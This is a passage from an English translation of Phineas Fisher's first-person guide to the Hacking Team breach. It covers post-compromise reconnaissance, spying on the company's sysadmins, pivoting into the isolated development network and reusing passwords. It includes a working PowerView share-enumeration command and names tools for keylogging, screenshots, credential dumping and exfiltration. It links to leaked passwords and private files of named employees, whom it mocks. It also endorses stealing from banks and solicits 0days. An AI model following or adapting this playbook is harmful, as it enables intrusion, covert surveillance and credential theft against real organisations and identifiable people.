[2], and above all [3], [4], [5], and [6]. Powershell is, again, very
powerful [7]. But since there are still many 2003 and 2000 servers
without powershell, you should also look the old school way [8], with
tools like netview.exe [9] or the windows “new view” command. Other
techniques that I like are:

1) Download a list archive numbers

With the domain administrator account, you can download all the
archive numbers in the network with powerview:

Inqvoke-ShareFinderThreaded -ExcludedShares IPC$,PRINT$,ADMIN$ |
select-string ‘^(.*) \t-‘ | %{dir -recurse $_.Matches[0].Groups[1] | select fullname | out-file -append files.txt}

You can then read it at your leisure later on, and choose the ones
that you want to download.

2) Read emails

As we have already seen, you can download emails with powershell,
and obtain a lot of useful information.

3) Read sharepoint

This is another place where many businesses have important
information. You can download it with powershell [10].

4) Active Directory [11]

It holds a lot of useful information about users and computers.
Without being the domain admin, you can already find a great deal
of information with powerview and other tools [12]. After becoming
the domain admin, you should export all the information from AD
using csvde or some other tools.

5) Spy on the employees

One of my favourite passtimes is stalk the sysadmins. By spying on
Christian Pozzi (Hacking Team’s sysadmin), I gained access to the
Nagios server, which gave me access to the ‘rete sviluppo’ (the
development network with the RCS source code). With a simple
combination of PowerSploit’s Get-Keystrokes and Get-TimedScreenshot
[13], nishang’s Do-Exfiltration, and GPO, I could spy on any
employee I wanted, or even the entire domain.

[1] https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView
[2] http://www.harmj0y.net/blog/tag/powerview/
[3] http://www.harmj0y.net/blog/powershell/veil-powerview-a-usage-guide/
[4] http://www.harmj0y.net/blog/redteaming/powerview-2-0/
[5] http://www.harmj0y.net/blog/penetesting/i-hunt-sysadmins/
[6] http://www.slideshare.net/harmj0y/i-have-the-powerview
[7] https://adsecurity.org/?p=2535
[8] https://www.youtube.com/watch?v=rpwrKhgMd7E
[9] https://github.com/mubix/netview
[10] https://blogs.msdn.microsoft.com/rcormier/2013/03/30/how-to-perform-bulk-downloads-of-files-in-sharepoint/
[11] https://adsecurity.org/?page_id=41
[12] http://www.darkoperator.com/?tag=Active+Directory
[13] https://github.com/PowerShellMafia/PowerSploit
[14] https://github.com/samratashok/nishang

—-[ 14 – Stalking sysadmins ]————————————-

Reading the infrastructure’s documentation [1], I learned that I still
lacked access to something important — the ‘Rete Sviluppo’, an
isolated network that held the source code of RCS. The sysadmins of a
business always have access to everything. I searched through Mauro
Romeo and Christian Pozzi’s computers to see how they accessed the
rete sviluppo, and to see if they had other interesting systems that I
should investigate. It was easy to access their computers, since they
were part of the Windows domain that I had adminstrative control over.
Muro Romeo’s computer didn’t have an open port, so I opened the WMI
port [2] so that I could execute meterpreter [3]. Besides collecting
keystrokes and screencaps with Get-Keystrokes and Get-TimedScreenshot,
I used a lot of metasploit’s /gather/ modules, CredMan.ps1 [4], and I
searched the archives [5]. I saw that Pozzi had a Truecrypt volume,
and waited for him to mount it so that I could copy an archive of it.
A lot of people have had a good laugh at Christian Pozzi’s weak
passwords (and at Christian Pozzi in general, who offered plenty of
material for comedy [6][7][8][9]). I included them in the dump for a
laugh, and to show how clueless he is. The reality is that mimikatz
and keyloggers got all the passwords as well.

[1] http://hacking.technology/Hacked%20Team/FileServer/FileServer/Hackingteam/InfrastrutturaIT/
[2] http://www.hammer-software.com/wmigphowto.shtml
[3] https://www.trustedsec.com/june-2015/no_psexec_needed/
[4] https://gallery.technet.microsoft.com/scriptcenter/PowerShell-Credentials-d44c3cde
[5] http://pwnwiki.io/#!presence/windows/find_files.md
[6] http://archive.is/TbaPy
[7] http://hacking.technology/Hacked%20Team/c.pozzi/screenshots/
[8] http://hacking.technology/Hacked%20Team/c.pozzi/Desktop/you.txt
[9] http://hacking.technology/Hacked%20Team/c.pozzi/credentials/

—-[ 15 – The bridge ]———————————————

Inside Christian Pozzi’s encrypted volume, there was a textfile with a
number of passwords [1]. One of those was for a Fully Automated Nagios
server, which had access to the sviluppo network so that it could
monitor it. I had found the bridge. I only had the password for the
web interface, but I had a public exploit [2] to execute code and
obtain a shell (it’s an unauthenticated exploit, but needs a user to
have already initiated a session, using one of the passwords in the
textfile).

[1] http://hacking.technology/Hacked%20Team/c.pozzi/Truecrypt%20Volume/Login%20HT.txt
[2] http://seclists.org/fulldisclosure/2014/Oct/78

—-[ 16 – Reusing and resetting passwords ]————————

Reading the emails, I saw Daniele Milan granting access to the git
repositories. I already had his Windows password, thanks to mimikatz.
I tried it on the git server, and it worked. I tried it with sudo, and
it worked. For the gitlab server, and his twitter account, I used the
‘I forgot my password’ function, and accessed the mail server to reset
the password.

—-[ 17 – Conclusion ]———————————————

That’s it. It’s that easy to overthrow an enterprise and put a stop
its human rights abuses. That is the beauty and the asymmetry of
hacking: with just one hundred hours of work, one person can undo
years of work by a multi-million-dollar enterprise. Hacking gives us
the dispossessed the ability to fight and win.

Hacking guides usually end with a warning: This information is solely
for educational purposes. Be an ethical hacker. Do not attack
computers without permission. Blah, blah, blah. I’m going to say the
same thing, but with a more rebellious conception of ‘ethical’
hacking. Ethical hacking means exfiltrating documents, expropriating
money from the banks, and protecting the computers of the common
people. However, most of the people who call themselves ‘ethical
hackers’ work only to protect the ones that pay their consulting fees,
and so they usually end up being mercenaries more than hackers.

Hacking Team saw themselves as belonging to a long line of inspired
Italian design [1]. I see Vincenzetti, his business, and his friends
in politics, in the police, and in government, as belonging to a long
tradition of Italian fascism. I want to dedicate this guide to the
victims of the assault on the Armando Diaz school, and to all those
whose blood has been spilled at the hands of Italian fascism.

[1] https://twitter.com/coracurrier/status/618104723263090688

—-[ 18 – Contact ]————————————————

To send me spearphishing attempts, write me death threats in Italian
[1][2], and send me 0days granting access banks, corporations,
governments, etc.

[1] http://andres.delgado.ec/2016/01/15/el-miedo-de-vigilar-a-los-vigilantes/
[2] https://twitter.com/CthulhuSec/status/619459002854977537

encrypted emails only, please:
https://securityinabox.org/es/thunderbird_usarenigmail

—–BEGIN PGP PUBLIC KEY BLOCK—–

mQENBFVp37MBCACu0rMiDtOtn98NurHUPYyI3Fua+bmF2E7OUihTodv4F/N04KKx
vDZlhKfgeLVSns5oSimBKhv4Z2bzvvc1w/00JH7UTLcZNbt9WGxtLEs+C+jF9j2g
27QIfOJGLFhzYm2GYWIiKr88y95YLJxvrMNmJEDwonTECY68RNaoohjy/TcdWA8x
+fCM4OHxM4AwkqqbaAtqUwAJ3Wxr+Hr/3KV+UNV1lBPlGGVSnV+OA4m8XWaPE73h
VYMVbIkJzOXK9enaXyiGKL8LdOHonz5LaGraRousmiu8JCc6HwLHWJLrkcTI9lP8
Ms3gckaJ30JnPc/qGSaFqvl4pJbx/CK6CwqrABEBAAG0IEhhY2sgQmFjayEgPGhh
Y2tiYWNrQHJpc2V1cC5uZXQ+iQE3BBMBCgAhBQJXAvPFAhsDBQsJCAcDBRUKCQgL
BRYCAwEAAh4BAheAAAoJEDScPRHoqSXQoTwIAI8YFRdTptbyEl6Khk2h8+cr3tac
QdqVNDdp6nbP2rVPW+o3DeTNg0R+87NAlGWPg17VWxsYoa4ZwKHdD/tTNPk0Sldf
cQE+IBfSaO0084d6nvSYTpd6iWBvCgJ1iQQwCq0oTgROzDURvWZ6lwyTZ8XK1KF0
JCloCSnbXB8cCemXnQLZwjGvBVgQyaF49rHYn9+edsudn341oPB+7LK7l8vj5Pys
4eauRd/XzYqxqNzlQ5ea6MZuZZL9PX8eN2obJzGaK4qvxQ31uDh/YiP3MeBzFJX8
X2NYUOYWm3oxiGQohoAn//BVHtk2Xf7hxAY4bbDEQEoDLSPybZEXugzM6gC5AQ0E
VWnfswEIANaqa8fFyiiXYWJVizUsVGbjTTO7WfuNflg4F/q/HQBYfl4ne3edL2Ai
oHOGg0OMNuhNrs56eLRyB/6IjM3TCcfn074HL37eDT0Z9p+rbxPDPFOJAMFYyyjm
n5a6HfmctRzjEXccKFaqlwalhnRP6MRFZGKU6+x1nXbiW8sqGEH0a/VdCR3/CY5F
Pbvmhh894wOzivUlP86TwjWGxLu1kHFo7JDgp8YkRGsXv0mvFav70QXtHllxOAy9
WlBP72gPyiWQ/fSUuoM+WDrMZZ9ETt0j3Uwx0Wo42ZoOXmbAd2jgJXSI9+9e4YUo
jYYjoU4ZuX77iM3+VWW1J1xJujOXJ/sAEQEAAYkBHwQYAQIACQUCVWnfswIbDAAK
CRA0nD0R6Kkl0ArYB/47LnABkz/t6M1PwOFvDN3e2JNgS1QV2YpBdog1hQj6RiEA
OoeQKXTEYaymUwYXadSj7oCFRSyhYRvSMb4GZBa1bo8RxrrTVa0vZk8uA0DB1ZZR
LWvSR7nwcUkZglZCq3Jpmsy1VLjCrMC4hXnFeGi9AX1fh28RYHudh8pecnGKh+Gi
JKp0XtOqGF5NH/Zdgz6t+Z8U++vuwWQaubMJTRdMTGhaRv+jIzKOiO9YtPNamHRq
Mf2vA3oqf22vgWQbK1MOK/4Tp6MGg/VR2SaKAsqyAZC7l5TeoSPN5HdEgA7u5GpB
D0lLGUSkx24yD1sIAGEZ4B57VZNBS0az8HoQeF0k
=E5+y
—–END PGP PUBLIC KEY BLOCK—–

If not you, who? If not now, when?

by Phineas Fisher
trans. 0xdeba5e12